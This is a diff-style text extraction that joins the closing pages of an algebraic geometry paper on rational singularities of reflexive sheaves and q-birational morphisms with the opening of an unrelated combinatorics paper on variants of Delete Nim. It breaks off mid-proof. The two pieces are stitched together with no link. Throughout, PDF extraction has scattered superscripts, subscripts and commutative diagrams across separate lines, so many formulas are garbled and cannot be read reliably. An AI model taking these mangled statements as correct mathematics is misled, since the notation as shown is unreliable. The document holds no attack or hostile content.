+We may mimic the strategy of Smith (see [Smi97], Theorem 3.1). Now, consider the
+Leray spectral sequence
+(4.2)
+Est
+2 = Hs
+x(X, Rtf∗(f ∗OX(D))DD) =⇒ Hs+t
+f−1(x)(X′, (f ∗OX(D))DD)
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+15
+and its edge map δD : HcodimX x
+x
+(X, OX(D)) → HcodimX x
+f−1(x)
+(X, (f ∗OX(D))DD). Let KD be
+the kernel of δD. If we consider Proposition 1.12 in [Smi97] and set ψ by
+ψ : (f ∗OX(D))DD → F e
+∗ (f ∗OX(peD))DD,
+we have a diagram
+HcodimX x
+f−1(x)
+(X′, (f ∗OX(D))DD)
+HcodimX x
+f−1(x)
+(X′, (f ∗OX(D))DD)
+HcodimX x
+x
+(X, OX(D))
+HcodimX x
+x
+(X, OX(D))
+F e
+∗
+F e
+∗
+δD
+δD
+by considering the argument in the proof of Theorem 3.1 in [Smi97] almost unchangingly.
+For any c ∈ KD, δD(F e
+∗ (c)) = F e
+∗(δD(c)) = 0 and hence KD is F-stable.
+Therefore
+KD = 0. It means δD is an injection.
+We may use induction. Suppose n ≥ 2 is an integer and assume Rif∗(f ∗OX(D))DD = 0
+for 1 ≤ i < n − 1. Then by inspecting (4.2), we have an exact sequence
+0 → H0
+x(X, Rn−1f∗(f ∗OX(D))DD) → Hn
+x(X, OX(D))
+δn,D
+→ Hn
+f−1(x)(X′, (f ∗OX(D))DD).
+For n < codimX x, we know OX(D) is CM by Theorem 3.2 in [PS14] and hence
+δn,D is an injection. Moreover, we have proven that δcodimX x,D is an injection. Thus,
+H0
+x(X, Rnf∗(f ∗OX(D))DD) = 0 and Rnf∗(f ∗OX(D))DD does not have an associated
+point as x. This argument works for any point x ∈ X and therefore Rn−1f∗(f ∗OX(D))DD =
+0. By considering Proposition 4.1, D has weak rational singularities.
+The remaining is to show Rif∗(f ∗OX(D))D = 0 for i ≥ 1. By Lemma 2.6, it suffices
+to show HcodimX x−i
+f−1(x)
+(X′, (f ∗OX(D))DD) = 0 for i ≥ 1. If we consider (4.2), Est
+2 = 0 for
+s + t < codimX x and hence EcodimX x−i = 0 and that is the assertion.
+□
+Example 4.18. Let us consider what happens to klt varieties over a positive charac-
+teristic field. On the positive side, suppose X is any normal threefold over a field of
+characteristic p > 5. Assume that there is an effective Q-divisor ∆ on X such that
+(X, ∆) is klt. If we consider Theorem 3 in [BK21], in the same way as Proposition 4.15,
+we can prove that X has rational singularities.
+There is a question of whether any
+Q-Cartier Weil divisor on X has rational singularities.
+On the negative side, if the characteristic of k is 3, then there is an example of klt
+Q-factorial threefold X such that X does not have rational singularities (see Theorem
+1.2 in [Ber21]). Moreover, for any prime number p > 2 and any field k with characteristic
+p, there is an example of variety with terminal singularities which does not have rational
+singularities (see Corollary 2.2 in [Tot19]).
+Let us prove that having rational singularities is stable under finite ´etale morphism.
+We believe it might be a partial answer to Remark 2.81 (3) in [Kol13].
+
+16
+DONGHYEON KIM
+Proposition 4.19. Let X, Y be normal varieties over characteristic 0 field, p : Y → X
+any finite ´etale morphism and F any reflexive sheaf on X. If p∗F has (resp. weak)
+rational singularities, then F has (resp. weak) rational singularities.
+Proof. By the functoriality of resolution of singularities (see Theorem 3.36 in [Kol07]),
+for some resolution f : X′ → X, there is a resolution f ′ : Y ′ → Y such that f, f ′ fit in
+the following Cartesian diagram:
+Y ′ ∼= X′ ×X Y
+Y
+X′
+X.
+p′
+f′
+p
+f
+Note that p′ is finite ´etale because being finite ´etale is stable under base change (see
+Lemma 01TS and Lemma 02GO in [Stacks]). Moreover, for any coherent sheaf H on
+X′, we have a split injection H → (p′)∗(p′)∗H. Indeed, let n be the degree of p. If we
+let (p′)!H := HomOX′(p∗OY ′, H) as in Exercises 3.6.10 in [Har77], by the trace
+1
+nTr :
+(p′)∗(p′)∗OY ′ → OX′ which is a right inverse of the natural map ϕ : OX′ → p∗OY ′,
+we have a split injection HomOX′
+� 1
+nTr, H
+�
+: H → (p′)∗(p′)!H whose right inverse is
+HomOX′(ϕ, H). Now, by Lemma 0FWI in [Stacks], p∗ = p! and we are done.
+Note that for any coherent sheaf G on Y , Rip∗G = 0 for i ≥ 1 by Lemma 02OE in
+[Stacks]. Now, we consider the following two Grothendieck spectral sequences
+1Est
+2 = Rsp∗(Rt(f ′)∗((f ′)∗(p∗F))DD) =⇒ Rs+t(p ◦ f ′)∗((f ′)∗(p∗F))DD
+2Est
+2 = Rsf∗(Rt(p′)∗((p′)∗(f ∗F)DD)) =⇒ Rs+t(f ◦ p′)∗((p′)∗(f ∗F)DD).
+Note that
+((f ′)∗(p∗F))DD = ((p ◦ f ′)∗F)DD = ((f ◦ p′)∗F)DD = ((p′)∗(f ∗F))DD = (p′)∗(f ∗F)DD.
+Hence, by inspecting the spectral sequences, we have
+p∗(Ri(f ′)∗((f ′)∗(p∗F))DD) = Rif∗((p′)∗((p′)∗(f ∗F)DD))
+for any i ≥ 0.
+Suppose p∗F has weak rational singularities that Ri(f ′)∗((f ′)∗(p∗F))DD = 0 for i ≥ 1.
+Then Rif∗((p′)∗((p′)∗(f ∗F)DD)) = 0 for i ≥ 1. By the splitting
+(4.3)
+(f ∗F)DD → (p′)∗(p′)∗(f ∗F)DD → (f ∗F)DD
+and taking Rif∗ on (4.3), we also have Rif∗(f ∗F)DD = 0 for i ≥ 1. Therefore F has
+weak rational singularities.
+Let us prove that if p∗F is CM, then F is CM. Note that p is finite and faithfully flat.
+By Lemma 00LM in [Stacks], for any point x ∈ X, any regular sequence of Fx comes
+from a regular sequence of Fy, where p(y) = x. Thus, we have the assertion.
+□
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+17
+Remark 4.20. We hope Proposition 4.19 is true for any field k which can be of positive
+characteristic. The difficulty is there may be no splitting H → (p′)∗(p′)∗H → H if the
+degree of p is coprime to the characteristic of k.
+If p is a quotient by a finite group which may not be ´etale, the major problem for
+proving Proposition 4.19 is we cannot ensure the equality (p′)∗(f ∗F)DD = (p′)∗(f ∗F)DD.
+Now, we define the following notion.
+Definition 4.21. Let X be any normal variety and F any reflexive sheaf on X. We
+say that F is (RSq) if for any point x ∈ X with codimX x ≤ q and any resolution
+f : X′ → X, θF,f is a quasi-isomorphism after localizing θF,f at x.
+Remark 4.22. In Definition 4.21, F is (RSdim X) if and only if F has rational singularities
+and it is Corollary 4.7. Also in Definition 4.21, condition (b) is equivalent to the following:
+For any i ≥ 1, Rif∗(f ∗F)DD has the support of codimension ≥ q + 1.
+Lemma 4.23. Let X be any normal variety and F any reflexive sheaf on X. If X is
+(Rq), then F is (RSq).
+Proof. Let f : X′ → X be any resolution. By dualizing θF,f, it suffices to show that
+Rif∗(f ∗F)DD has the support of codimension ≥ q + 1 for i ≥ 1. For any point x ∈ X
+with codimX x ≤ q, Fx = OX,x and hence (Rif∗(f ∗F))DD
+x
+= (Rif∗OX)x for i ≥ 0. Thus,
+by Theorem 1.1 in [CR15], we have the assertion.
+□
+Example 4.24. We can give examples of reflexive sheaf with (RSq). Indeed, X be any
+normal variety over C and suppose ∆ is an effective Weil divisor such that (X, ∆) is
+log canonical. If D is a Q-Cartier Weil divisor on X, then D is (RSq+1), where q is the
+codimension of the union of the non-klt centers of (X, ∆).
+It would be interesting to know whether any closed subvariety defined by the points
+x ∈ X in which (θF,f)x is not a quasi-isomorphism for some resolution f : X′ → X is a
+non-klt center of (X, ∆) or not. Note that if D = 0, there is an affirmative answer. See
+Theorem 1.2 in [AH12].
+5. Notion of (Bq+1)
+This section introduces the notion of (Bq+1).
+Definition 5.1. Let X be any normal variety and F any reflexive sheaf on X. We say
+F is (Bq+1) if Hi
+x(X, F) = 0 for any dim X − q < i < dim X and closed point x ∈ X.
+For any normal variety X, X is CM if and only if ωX is CM by Lemma 0AWS in
+[Stacks]. However, for q < dim X − 1, it is not true that X is (Sq+1) if and only if ωX is
+(Sq+1). It seems to us that the correct notion for ωX is (Bq+1), not (Sq+1) (for a more
+discussion, see (4.3) in [Kol11]).
+Theorem 5.2. Let X be any normal projective variety and F any reflexive sheaf on X,
+which is (RSq) and (KVq). Then the following are equivalent:
+
+18
+DONGHYEON KIM
+(a) F is (Sq+1).
+(b) For any resolution f : X′ → X such that for any 1 ≤ i < q, Rif∗(f ∗F)DD = 0.
+(c) F D is (Bq+1).
+Proof. Let f : X′ → X be any resolution of X. For (a) =⇒ (b), as Proposition 4.15,
+we may consider the following spectral sequence
+(5.1)
+Est
+2 = Hs
+x(X, Rtf∗(f ∗F)DD) =⇒ Hs+t
+f−1(x)(X′, (f ∗F)DD).
+We may use induction. Indeed, let us fix any positive integer 2 ≤ n ≤ q and assume
+that Rif∗(f ∗F)DD = 0 for 1 ≤ i < n − 1.
+Given any point x ∈ X with codimX x ≥ q + 1, since F is (KVq) and Lemma 2.6
+holds, we have Hi
+f−1(x)(X′, (f ∗F)DD) = 0 for i ≤ q. By the spectral sequence (5.1), we
+have the following exact sequence
+0 → H0
+x(X, Rn−1f∗(f ∗F)DD) → Hn
+x(X, F)
+αn
+→ Hn
+f−1(x)(X, (f ∗F)DD).
+From the above exact sequence, H0
+x(X, Rn−1f∗(f ∗F)DD) ∼= Hn
+x (X, F) and if we use (a),
+H0
+x(X, Rn−1f∗(f ∗F)DD) = 0 holds.
+Thus, Rn−1f∗(f ∗F)DD does not have associated
+point as x. If codimX x ≤ q, since F is (RSq), (Rif∗(f ∗F))x = 0 for i ≥ 1 and hence we
+have Rn−1f∗(f ∗F)DD.
+For (b) =⇒ (a), since θF,f is a quasi-isomorphism at x ∈ X with codimX x ≤ q, we
+have (Rif∗(f ∗F)D)x ∼= Ext− codimX x+i
+OX,x
+((f ∗F)DD
+x
+, ω•
+X,x). Hence the fact that F is (KVq)
+and the local duality gives us Hi
+x(X, F) = 0 for i < codimX x.
+If codimX x ≥ q + 1, by inspecting the spectral sequence (5.1), Es0
+2 = Es0
+∞ for s ≤ q.
+Considering the edge map Es0
+∞ → Es = Hs
+f−1(x)(X′, (f ∗F)DD) for such s, if we use
+Lemma 2.6, then we have the assertion.
+For (a) ⇐⇒ (c), let us consider the following exact sequence
+0
+f∗(f ∗F)D
+F D
+Q
+0
+H0(θF,f )
+for a coherent sheaf Q on X. Since F is (RSq), the support of Q has codimension ≥ q+1
+and hence Hi
+x(X, Q) = 0 for i > dim X − q.
+By taking local cohomology on the above exact sequence, we have
+Hi
+x(X, f∗(f ∗F)D) ∼= Hi
+x(X, F D) for any dim X − q < i < q and any closed point x ∈ X.
+Hence, F D is (Bq+1) if and only if Hi
+x(X, f∗(f ∗F)D) = 0 for any dim X − q < i < i and
+any closed point x ∈ X.
+Let x ∈ X be any closed point and consider the Leray spectral sequence
+Est
+2 = Hs
+x(X, Rtf∗(f ∗F)D) =⇒ Hs+t
+f−1(x)(X′, (f ∗F)D).
+Then, by the fact that F is (KVq) and the dimension counting, Est
+2 = 0 for s+t ≥ dim X−
+q. Hence, by inspecting the spectral sequence, Es0
+2 = Es0
+∞ for s > dim X − q. Moreover,
+Es0
+∞ = Es for s > dim X − q. Thus, F D is (Bq+1) if and only if Hi
+f−1(x)(X′, (f ∗F)D) = 0
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+19
+for any dim X − q < i < dim X and any closed point x ∈ X. If we use Lemma 2.6, then
+we have the assertion.
+□
+Remark 5.3. In Theorem 5.2, the strategy of the proof of (a) ⇐⇒ (b) is similar to the
+strategy of the proof of Lemma 3.1 in [Ale08] and Proposition 7.1.7 in [Fuj17]. Moreover,
+the idea of the proof of (a) ⇐⇒ (c) is inspired by the proof of Lemma 3.3 in [Kov99].
+There is an interesting corollary of Theorem 5.2.
+Corollary 5.4. Assume that q ≥
+� dim X+1
+2
+�
+. Let X be any normal Q-factorial variety
+over a characteristic 0 field and any Weil divisor on X is (RSq) and (Sq+1). Then any
+Weil divisor on X is CM. In particular, X is CM itself.
+Proof. Note that any Weil divisor D on X is (KVq) for any q. Since (OX(D))D is (Sq)
+and OX(D) ∼= (OX(D))DD is (Bq) by Theorem 5.2, OX(D) is CM.
+□
+Remark 5.5. Corollary 5.4 proves that in the setting of char k = 0, for any factorial
+variety X, if X is (RS⌈ dim X+1
+2
+⌉) and (S⌈ dim X+3
+2
+⌉), then X is CM.
+One may think that Theorem 1.6 in [HO74] is similar to Corollary 5.4. Hence, if we
+assume X is (Rq), one can believe that there is a simple proof of Corollary 5.4 using the
+local duality only.
+6. q-birational morphisms
+In this section, we always assume that the field k is of characteristic 0. Let us define
+the notion of q-birational morphism.
+Definition 6.1 (See Definition 3.1, [Kim22]). Let X, X′ be any normal varieties and
+f : X′ → X any proper birational morphism.
+(a) The center of f is the reduced closed subscheme C of X which is the image of
+exceptional locus along f.
+(b) We say f is a q-birational morphism if the exceptional locus has codimension 1
+and the center of f has codimension ≥ q + 1.
+Remark 6.2. Let us remark that for any q-birational morphism f : X′ → X between
+normal varieties, if X′ is smooth, then X is (Rq).
+Let us prove the following lemma which can be regarded as a partial converse of
+Lemma 4.12.
+Lemma 6.3. Let X be any normal variety and F any reflexive sheaf on X which is
+(RSq), (KVq) and (Sq+1). Suppose f : X′ → X is any resolution and L is a line bundle
+on X′ such that there is an isomorphism F ∼= f∗L. If f is q-birational, then Rif∗L = 0
+for 1 ≤ i < q.
+Proof. We may use a similar argument as in the proof of (a) ⇐⇒ (c) in Theorem 5.2.
+
+20
+DONGHYEON KIM
+By the same argument as in the proof of Proposition 4.13, we have an injection
+(f ∗F)DD → L and hence ϕ : LD → (f ∗F)D. Let Q be the cokernel of f∗ϕ. Then
+we have the following exact sequence
+(6.1)
+0 → f∗LD → f∗(f ∗F)D → Q → 0.
+Since f is q-birational, the support of Q has codimension ≥ q + 1.
+By taking local cohomology on (6.1), we have isomorphisms
+Hi
+x(X, LD) ∼= Hi
+x(X, f∗(f ∗F)D) for any closed point x ∈ X and any dim X−q < i < dim X.
+As in the proof of Theorem 5.2, we have Hi
+x(X, f∗(f ∗F)D) = 0 for any closed point
+x ∈ X and dim X − q < i < dim X. Hence, Hi
+x(X, LD) = 0 for such i and x ∈ X.
+Consider the Leray spectral sequence
+Est
+2 = Hs
+x(X, Rtf∗LD) =⇒ Hs+t
+f−1(x)(X, LD).
+By inspecting the spectral sequence, we have Hi
+f−1(x)(X′, LD) = 0 for any dim X − q <
+i < dim X and any closed point x ∈ X. Now, we may apply Lemma 2.6 and obtain the
+assertion.
+□
+Using Lemma 6.3, we have the following theorem.
+Theorem 6.4. Let X, X′ be any normal projective varieties, X′ smooth and f : X′ → X
+any q-birational morphism. Suppose that D is any anti f-nef divisor on X′ such that
+f∗D is Q-Cartier and (Sq+1). Then Rif∗OX′(D) = 0 for 1 ≤ i < q.
+Proof. Since f∗D is Q-Cartier, we may consider a Q-divisor f ∗f∗D. If we define a divisor
+L on X′ in which OX′(L) = (f ∗OX(f∗D))DD holds, we have f ∗f∗D ∼Q L and hence
+D − L ∼Q D − f ∗f∗D is anti f-nef. Thus D − L is an effective f-exceptional divisor on
+X′ by the Negativity lemma. Therefore, by Lemma 6.3, we have the assertion.
+□
+We can write Theorem 6.4 as the absolute cohomology vanishing. For a similar result,
+see Corollary 3.8 in [Kim22].
+Corollary 6.5. Let X, X′ be any normal projective varieties, X′ smooth and f : X′ → X
+any q-birational morphism. Suppose that D is any anti f-nef divisor on X′ such that
+f∗D is a Q-divisor and (Sq+1) on X and E is any effective f-exceptional divisor on X′.
+Then
+Hi(X′, OX′(D + E)) = Hi(X, OX(f∗D)) = Hi(X′, OX′(D))
+for 0 ≤ i < q.
+Proof. We may use the Leray spectral sequence
+Est
+2 = Hs(X, Rtf∗OX′(D + E)) =⇒ Hs+t(X′, OX′(D + E))
+and hence Hi(X, OX(f∗D)) = Hi(X′, OX′(D + E)) for 0 ≤ i < q by Theorem 6.4. Note
+that f∗OX′(D + E) = OX(f∗D) because of Corollary 2.7 and the fact that D + E is anti
+f-nef.
+□
+
+RATIONAL SINGULARITIES AND q-BIRATIONAL MORPHISM
+21
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+matical Library, Cambridge University Press, Cambridge, (2010).
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+positive characteristic, Algebr. Geom. 6 (2019), no. 5 516–529.
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+Adv. Stud. Pure Math. 10 (1987), 283–360.
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+Math. 62 (1997), 221–287.
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+Q., 7, (2011), no. 4, 1477–1494.
+[Kol13]
+J. Koll´ar: Singularities of the minimal model program, Cambridge Tracts in Mathematics,
+vol. 200, Cambridge University Press, Cambridge, (2013).
+
+22
+DONGHYEON KIM
+[KM98]
+J. Koll´ar and S. Mori: Birational geometry of algebraic varieties, Cambridge Tracts in
+Mathematics, vol. 134. Cambridge University Press, Cambridge, 1998.
+[Kov99]
+S. Kov´acs: Rational, log canonical, Du Bois singularities: on the conjectures of Koll´ar and
+Steenbrink, Compositio Math 118 (1999), no. 2, 123–133,
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+of Eckart Viehweg, 1495–1515.
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+03722, Korea
+Email address: whatisthat@yonsei.ac.kr
+

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+arXiv:2301.12964v1  [math.CO]  30 Jan 2023
+Some extensions of Delete Nim
+Tomoaki Abuku∗
+Ko Sakai†
+Masato Shinoda‡
+Koki Suetsugu§
+2022
+Abstract
+Nim is a well-known combinatorial game with several variants, e.g.,
+Delete Nim and Variant Delete Nim. In Variant Delete Nim, the player
+deletes one of the two heaps of stones and splits the other heap on
+his/her turn. In this paper, we discuss generalized Variant Delete Nim,
+which generalizes the number of stone heaps to three or more, All-but-
+one-delete Nim, Half-delete Nim, No-more-than-half-delete Nim, and
+Single-delete Nim. We study the win-loss conditions for each of these
+games.
+1
+Introduction
+Combinatorial games are 2-player games with neither chance elements nor
+hidden information (for the details on combinatorial game theory, see, e.g.,
+Albert et al. [3] and Siegel [7]).
+Nim is one of the oldest and most well-known combinatorial games. The
+basic rule of the game is that two players take turns choosing one of several
+heaps and take as many tokens from the heap as they like, and the player
+who cannot take a token from the heap loses. In this paper, we only deal
+with the rule that a player loses if he/she cannot make any possible moves
+on his/her turn. This rules is called the normal rule.
+Nim is a two-player zero-sum complete information-confirmation finite
+game. Since there are no draws, every position can be classified into two
+∗National Institute of Informatics, buku3416@gmail.com
+†Kanagawa University, gummosakai@gmail.com
+‡Nara Women’s University, shinoda@cc.nara-wu.ac.jp
+§National Institute of Informatics, suetsugu.koki@gmail.com
+1
+
+types: N-position, in which the player whose turn it is to play has a strategy
+to win the game, and P-position, in which the player whose turn it is to play
+does not have a winning strategy. The distinction mentioned above between
+N-positions and P-positions in Nim was shown by Bouton [4], and it is now
+known that the win-loss conditions of this game contain mathematically
+interesting structures. In addition, a more detailed analysis of the game has
+been conducted to obtain the Sprague-Grundy values for each game. The
+Sprague-Grundy values are useful for determining the winners of games that
+combine multiple games. For more information on these games, refer to [3].
+Variants of the game with different rules for taking tokens in Nim Moore’s
+game, Welter-Sato’s game (Maya game), Wythoff’s game, etc., have been
+proposed. The mathematical analysis of these games is a subject of interest.
+There are also games, such as Grundy’s game, for splitting heaps of tokens.
+In this paper, we propose a generalization of Delete Nim and discuss its
+win-loss conditions.
+This paper is organized as follows. Section 2 describes the rules of Delete
+Nim; the content of this section is concerned with the case where the number
+of stone heaps is two. Section 3 and beyond describe the various rules for
+extending the number of stone heaps in Delete Nim to three or more and the
+conditions for determining the winners. Section 3 deals with All-but-one-
+delete Nim, Section 4 with No-more-than-half-delete Nim, Section 5 with
+Half-delete Nim, and Section 6 with Single-delete Nim.
+Note that there is a game with a rule called “Split-and-delete Nim” that
+reverses the order of deleting heaps and splitting heaps (see Abuku et al.
+[1]). In order to clearly distinguish between these rules, we call the rule
+defined in this paper “Delete-and-split Nim”.
+2
+Delete Nim
+In this section, we review the rules of Delete Nim and the determination of
+winners and losers as previously mentioned in Abuku and Suetsugu [2].
+Definition 2.1 (The rules of Delete Nim). There are 2 heaps of tokens.
+The player performs the following two operations in succession on his/her
+turn.
+• Selects a non-empty heap and deletes the other heap.
+• Removes 1 token from the selected heap and splits the heap into two
+(possibly empty heaps).
+2
+
+The p-adic valuation of an integer n, which we shall denote by vp(n), is
+the exponent of the highest power of the prime number p that divides n. In
+this paper, only 2-adic valuation will be treated.
+Theorem 2.2 (Abuku and Suetsugu [2]). Let ⟨x, y⟩ be a Delete Nim po-
+sition, where x and y represent the number of tokens in each heap. The
+Sprague-Grundy value of ⟨x, y⟩ is v2((x ∨ y) + 1), where ∨ is the bitwise
+OR-operation. In particular, ⟨x, y⟩ is a P-position if and only if both x and
+y are even.
+The following game, called Variant Delete Nim or VDN, is defined in
+Stankova and Rike [8].
+Definition 2.3 (The rules of VDN). There are 2 heaps of tokens.
+The
+player performs the following two operations in succession on his/her turn.
+• Selects one heap and deletes it.
+• Splits the remaining heap into 2 (non-empty) heaps.
+VDN and Delete Nim are equivalent games with respect to legal moves.
+We can see that the position ⟨x, y⟩ of VDN corresponds to the position
+⟨x − 1, y − 1⟩ of Delete Nim. Therefore, according to Theorem 2.2, in VDN,
+the condition that each member of the pair ⟨x, y⟩ be odd is required for ⟨x, y⟩
+to be a P-position. This decision condition is also included in Theorem 3.2
+of this paper.
+In the following sections, we will consider various rules when the number
+of token heaps n is generalized to 3 or more. The extended rules discussed
+below all follow the VDN setting, where some of the n heaps of tokens are
+deleted and the remaining heaps are split, and the number of heaps n before
+and after the turn is assumed to remain the same. Also, when splitting a
+heap of tokens every heap must contain at least one token.
+The two operations that a player performs in a turn (deleting and split-
+ting a heap) are called a move, and a position that can be transitioned from
+one position to another by a single move is called an option. A position that
+has no option is called a terminal position, and the player whose turn it is
+to play in this terminal position loses the game.
+3
+All-but-one-delete Nim
+In this section, we introduce a variant of delete nim, All-but-one-delete
+Nim or ABO-delete Nim. In this ruleset, all heaps except for one heap are
+removed in a move.
+3
+
+3.1
+The rule of ABO-delete Nim
+Definition 3.1 (ABO-delete Nim). There are n heaps of tokens. The player
+performs the following two operations in succession on his/her turn.
+• Selects n − 1 heaps and deletes them.
+• Splits the remaining 1 heap into n heaps.
+The set of all positions in ABO-delete Nim is Gn = {⟨z1, z2, . . . , zn⟩ |
+z1, z2, . . . , zn ∈ N}. If n = 2, then the ruleset is the same as VDN. Therefore,
+ABO-delete Nim can be considered as a generalization of VDN. From Defini-
+tion 3.1, the set of terminal positions of ABO-delete Nim is {⟨z1, z2, . . . , zn⟩ |
+1 ≤ z1, z2, . . . , zn ≤ n − 1}.
+3.2
+Characterizing positions of ABO-delete Nim
+Theorem 3.2. All-but-one-delete Nim position ⟨z1, z2, . . . , zn⟩ is a P-position
+if and only if
+(*) for every i, the remainder of zi divided by n(n − 1) is between 1 and
+n − 1.
+Note that this theorem generalizes Theorem 2.2.
+Proof. Let Gn = {⟨z1, z2, . . . , zn⟩ | z1, z2, . . . , zn ∈ N}, P be the subset of
+Gn, which satisfies (*), and N = Gn \P. Obviously, P contains the terminal
+positions of ABO-delete Nim and this game is not a loopy game. Therefore,
+it is enough to show (i) every position in P has no option in P and (ii) every
+position in N has at least one option in P.
+(i) Assume that Z = ⟨z1, z2, . . . , zn⟩ ∈ P and Z′ = ⟨z′
+1, z′
+2, . . . , z′
+n⟩ is an
+option of Z. Then there exists i such that zi = z′
+1 +z′
+2 +· · · +z′
+n. Therefore,
+from (*), the reminder of z′
+1 + z′
+2 + · · · + z′
+n divided by n(n − 1) is larger
+than 0 and less than n. On the other hand, if z′
+1, z′
+2, . . . , z′
+n satisfies (*), then
+the sum of reminders of z′
+1, z′
+2, . . . , z′
+n is between n and n(n − 1), which is a
+contradiction. Thus, Z′ ̸∈ P.
+(ii) Assume that Z = ⟨z1, z2, . . . , zn⟩ ∈ N. Then, there exists zi whose
+reminder divided by n(n − 1) is larger than or equal to n (Here, we say the
+reminder is n(n−1) if zi can be divided by n(n−1)). By removing all heaps
+except for this heap and splitting this heap into n heaps, one can have a
+position in P.
+How to split the heap into n heaps at the last of the proof will be pre-
+sented in Lemma 5.5(2).
+4
+
+4
+No-more-than-half-delete Nim
+Next, we introduce No-more-than-half-delete Nim or NMTH-delete Nim. In
+this ruleset, the player removes no more than half heaps of all heaps in a
+move.
+4.1
+The rule of NMTH-delete Nim
+Definition 4.1 (NMTH-delete Nim). There are n heaps of tokens. The
+player performs the following two operations in succession on his/her turn.
+• Chooses a positive integer k such that k ≤ n
+2, selects k heaps, and
+deletes them.
+• Selects k heaps of the remaining n − k heaps and splits each heap into
+two heaps.
+Note that if n = 2, then the rule is the same as VDN and if n = 3,
+then the rule is the same as single delete nim with the number of heaps is
+3, presented in Section 6.
+4.2
+Characterizing positions in NMTH-delete Nim
+We found following theorem for NMTH-delete Nim.
+Theorem 4.2. No-more-than-half-delete Nim position ⟨z1, z2, . . . , zn⟩ is a
+P-position if and only if z1, z2, . . . , zn satisfy the following condition:
+(i) v2(z1) = v2(z2) = · · · = v2(zn) = 0 if n is even,
+(ii) v2(z1) = v2(z2) = · · · = v2(zn) if n is odd.
+For proving this theorem, we prepare following propositions. They are
+trivial, so we omit the proof.
+Proposition 4.3. For x, y, z ∈ N, if x + y = z, then following (i) and (ii)
+holds.
+(i) If v2(x) = v2(y), then v2(z) > v2(x).
+(ii) If v2(x) ̸= v2(y), then v2(z) = min{v2(x), v2(y)}.
+Proposition 4.4. Assume that z ∈ N and v2(z) > 0. For any nonnegative
+integer k < v2(z), there exist x, y ∈ N such that x + y = z and v2(x) =
+v2(y) = k.
+5
+
+For instance, (x, y) = (z −2k, 2k) satisfies x+y = z and v2(x) = v2(y) =
+k.
+In the rest of this paper, we say a heap is even (resp. odd) heap if the
+number of stones of the heap is an even (resp. odd) number.
+Proof of Theorem 4.2. Let Pe be the set of positions in which every heap is
+an odd heap and Ne be the set of positions in which at least one heap is
+an even heap. We also let Po be the set of positions such that every 2-adic
+valuation of the size of a heap is the same number and No be the set of
+positions with several different 2-adic valuations of the size of a heap.
+(i) Assume that n is an even number. Since there are one even heap and
+one odd heap after an odd heap is split, a position in Pe has no option in Pe.
+Next, consider a position in Ne. If the number of even heaps is larger than
+or equal to n
+2 , then by deleting heaps other than n
+2 even heaps and splitting
+the remaining even heaps into odd heaps, one can obtain a position in Pe.
+If there are less than n
+2 even heaps, then by deleting the same number of
+odd heaps as even heaps and splitting all even heaps into odd heaps, one
+can obtain a position in Pe.
+(ii) Assume that n is an odd number. Then, after one move, at least one
+heap remains undeleted and unsplit. From the contraposition of proposition
+4.3, if one heap is split, then at least one 2-adic valuation of the heaps is
+differ from 2-adic valuation of the original heap. Therefore, every position
+in Po has no option in Po. Next, in position ⟨z1, z2, . . . , zn⟩ ∈ No, assume
+that v2(z1) ≤ v2(z2) ≤ · · · ≤ v2(zn) and v2(z1) ̸= v2(zn) and we show that
+from this position one can obtain a position in Po in a single move. If the
+number of j such that v2(z1) < v2(zj) is less than or equal to n−1
+2 , then from
+Proposition 4.4, one can split every heap whose 2-adic valuation is larger
+than v2(z1) into two heaps whose 2-adic valuations are v2(z1). For the other
+cases, one can split n−1
+2
+heaps whose 2-adic valuations are larger than v2(z1)
+into n − 1 heaps whose 2-adic valuations are v2(z1).
+5
+Half-delete Nim
+In this section, we introduce Half-delete Nim. In this ruleset, differ from
+NMTH-delete nim, the player removes just half heaps of all heaps in a move,
+so the number of heaps in this ruleset must be an even number. We also
+introduce a generalization of this ruleset.
+6
+
+5.1
+The rule of Half-delete Nim
+Definition 5.1 (Half-delete Nim). There are n (= 2m) heaps of tokens.
+The player performs the following two operations in succession on his/her
+turn.
+• Selects m heaps and deletes them.
+• Splits each of the remaining m heaps into two heaps.
+In particular, if n = 2, this game is the same as VDN.
+5.2
+Characterizing positions in Half-delete Nim
+Theorem 5.2. Let Z = ⟨z1, z2, . . . , z2m⟩ be a Half-delete Nim position,
+where each zi is the number of tokens and zi ≤ zi+1 for any i. Let 2s be the
+smallest power of 2 greater than zm+1. Then Z is a P-position if and only
+if z1, z2, . . . , z2m satisfy both of the following two conditions:
+(a) all z1, z2, . . . , zm+1 are odd,
+(b) For any l, if zl is even, then 2s ≤ zl.
+This theorem is a special case of Theorem 5.6 in the next subsection, so
+the proof is omitted.
+5.3
+k−1
+k n-delete nim
+We consider a generalization of Half-delete Nim.
+Definition 5.3 (k−1
+k n-delete Nim). There are n (= km) heaps of tokens.
+The player performs the following two operations in succession on his/her
+turn.
+• Selects (k − 1)m heaps and deletes them.
+• Splits each of the remaining m heaps into k heaps.
+In particular, if k = 2, this game is the same as Half-delete Nim, and if
+k = n, this game is the same as ABO-delete Nim.
+Definition 5.4. A positive integer whose remainder divided by k(k − 1)
+lies between 1 and k − 1 is called a k-oddoid number, and any other positive
+integer is called a k-evenoid number. A heap with an oddoid number of
+tokens is called a k-oddoid heap, and a heap with an evenoid number of
+tokens is called a k-evenoid heap.
+7
+
+In particular, if k = 2, oddoid and evenoid numbers are consistent with
+the usual notion of odd and even numbers.
+Lemma 5.5.
+(1) It is not possible to split an k-oddoid number into k k-oddoid numbers.
+(2) All integers x between k and k(k − 1) can be split into k integers that
+are between 1 and k − 1.
+(3) Let s be a positive integer. Every k-evenoid number y < ks can be
+split into k k-oddoid numbers which are less than ks−1.
+Proof. (1) We can prove this in the similar way to (i) in the proof of Theorem
+3.2. That is, if we can split a k-oddoid number into k k-oddoid number,
+then we have a contradiction because the sum of reminders of all k-oddoid
+numbers split by k(k − 1) is between k and k(k − 1), which contradicts to
+the original number is an k-oddoid number.
+(2) Let x = kp + q (0 ≤ q ≤ k − 1). Then, 1 ≤ p ≤ k − 1. If p < k − 1,
+then x = q(p + 1) + (k − q)p and if p = k − 1, then x = kp. Thus, for both
+cases, x can be split into k numbers which are between 1 and k − 1.
+(3) Since ks − k can be divided by k(k − 1), the reminder of ks divided
+by k(k − 1) is k. Thus, the largest k-evenoid number less than ks is ks − k.
+Therefore, for the case s ≤ 2, we have proved in (2).
+Assume that s ≥ 3.
+ks − k = k(ks−2 − 1)
+k − 1
